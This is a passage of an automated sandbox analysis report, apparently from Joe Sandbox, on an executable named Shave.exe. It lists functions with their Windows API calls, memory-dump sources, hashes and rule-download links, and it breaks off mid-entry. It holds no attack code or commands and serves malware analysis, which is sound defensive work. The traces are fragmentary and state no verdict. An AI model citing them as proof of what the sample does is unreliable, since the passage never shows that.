Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000), ref: 6F972B33
GetLastError.KERNEL32 ref: 6F972C3A

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 9a085b68ac04b277299a0b89f66bc10333a2ad59e22b0a31af2c1b96164b3ffb
Instruction ID: 70105b0a501421a3f4f25a6cc40d13841439ee982f43bbd643a2481311f9f4ca
Opcode Fuzzy Hash: 9a085b68ac04b277299a0b89f66bc10333a2ad59e22b0a31af2c1b96164b3ffb
Instruction Fuzzy Hash: C9517E72928754DFEB78DFA8D940B5977A9FB56328F20442AD404CA2C2DF34E491CF91

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 2817fdc1b453530556b1233eeb78b93eab19bad1ba8c502dca76499b0c80bb5e
Instruction ID: 1ba22ac92ecf447665b3913d31df39b0814a7bcf15a964c104b9173a467dca89
Opcode Fuzzy Hash: 2817fdc1b453530556b1233eeb78b93eab19bad1ba8c502dca76499b0c80bb5e
Instruction Fuzzy Hash: 2A119431910205EBDB14DFA4CA585AE77B4FF44348F20843FE445B72C0D6B85A41EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction ID: 2a828f8333626ea4f8ae47897e76cf54d119540c9549312051f7543085d76b41
Opcode Fuzzy Hash: 1be36e7ffb4e60f8615e9040eadbbc0b6b8dcead5e0d66e97d35916fbcf3aab6
Instruction Fuzzy Hash: 9101D132624210ABE7095B789D04B6A3698E751315F10C63BB851F66F1DA7C8C429B4D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: a5279d58909cb0200b7873d2906f67189e0a8c6f713d0d692494d0366452260b
Instruction ID: ed958cdb0af940290ad8e224458c39a91d35accb7d2f19645d781aa9a2f92111
Opcode Fuzzy Hash: a5279d58909cb0200b7873d2906f67189e0a8c6f713d0d692494d0366452260b
Instruction Fuzzy Hash: ECE01A72E082008FE764ABA5AA495AD77B4EB91325B20847FE211F11D1DE7858418F6A

Function 00406671 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

Part of subcall function 00406601: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406618
Part of subcall function 00406601: wsprintfW.USER32 ref: 00406653
Part of subcall function 00406601: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406667

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: c77725e8978f6dbc308834741f2b8f5018f4a929a6ea22720db737a721ff7b5c
Instruction ID: f8cbec149f8048a337a195de8e089d72e19c2715f3a6386891d9cbb614a09016
Opcode Fuzzy Hash: c77725e8978f6dbc308834741f2b8f5018f4a929a6ea22720db737a721ff7b5c
Instruction Fuzzy Hash: D3E08C326042116AD7119A709E4497B66AC9A89740307883EFD46F2181EB3A9C31AAAD

Function 00405D8D Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00402F1D,C:\Users\user\Desktop\Shave.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D91
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405DB3

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction ID: 684cdbd871a87963be1dc25f749e3f1c2e3aca1a790447dc63e6e481d8426dbe
Opcode Fuzzy Hash: e3266cf20b616526e148e4639a7b0fb2c73eec3b674a7d239963b130731368bc
Instruction Fuzzy Hash: 5DD09E31254301AFEF098F20DE16F2EBBA2EB84B05F11552CB786940E0DA7158199B15

Function 00405D68 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,0040596D,?,?,00000000,00405B43,?,?,?,?), ref: 00405D6D
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D81

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction ID: 56b75d8f9ca2641e27e40e0bc5846bc1deeaaca66535f557d4a9eea11918b9db
Opcode Fuzzy Hash: abb1859115452ae29e15aed1e23886b2a100c548e8c413493f0cbd9ae974b18a
Instruction Fuzzy Hash: 39D01272504421AFC2512738EF0C89BBF95DF543717128B35FEE9A22F0CB314C568A98

Function 0040584B Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,0040335F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 00405851
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 0040585F

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction ID: 569726fefb5a692a208b00f3c4627a0038051db83374957b12f20e82e1ac62f2
Opcode Fuzzy Hash: 5aaa147db34fee021f71137ce00f1128120fffe197b4e0338bd4cd09c611a0b2
Instruction Fuzzy Hash: 97C08C71211501DAC7002F318F08B073A50AB20340F15883DA64AE00E0CA308024D92D

Function 00406132 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CF2,00000000,?,?), ref: 0040615B

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 5f0451bdd463ed866e2305ac1dfee878cc5b4d333075ebda4e05e47d22d2a603
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: 6BE0E672110109BEDF099F50DD0AD7B371DE704304F01452EFA06D5051E6B5AD305674

Function 00405E10 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,00403321,00000000,00000000,00403168,?,00000004,00000000,00000000,00000000), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 994fac52afecd872c6575aa209eb3fbbfd601c2a51b89c6ee9ed5d101180f43c
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 93E08C3220525AABCF109F51CC04EEB3B6CEB04360F000832FD98E2040D230EA219BE4

Function 00405E3F Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,?,?,004032D7,000000FF,0078B6D8,?,0078B6D8,?,?,00000004,00000000), ref: 00405E53

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 720248cc98aac2988b2abacb793a2dea5f933c74ab6652834825bf215bbdf934
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 72E08C3220025AABCF109F60DC00AEB3B6CFB007E0F048432F951E3040D230EA208FE4

Function 6F972997 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(6F97405C,00000004,00000040,6F97404C), ref: 6F9729B5

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1d2212d483a335b4a5761bd175da2901197f50778d403832781c65b1e50e5ed7
Instruction ID: b41899589b7f24c5ee895a7788f02a53d2e3f451712dacbb64ef54390105b993
Opcode Fuzzy Hash: 1d2212d483a335b4a5761bd175da2901197f50778d403832781c65b1e50e5ed7
Instruction Fuzzy Hash: 89F0C0B155CBA0DEEB50CF7C8444B157BE0F747324B11452AE258D6283E734B064CF11

Function 00406104 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,007A0F00,?,?,00406192,007A0F00,00000000,?,?,Call,?), ref: 00406128

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 68c61e8d1810f1ea9cab55705828a401d3ebcdae1eadef42580152fd7570d6fd
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: 4BD0123204020EBBDF11AE909D01FAB3B1DEB08350F014826FE06A80A2D776D530AB54

Function 004015A3 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015AE

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
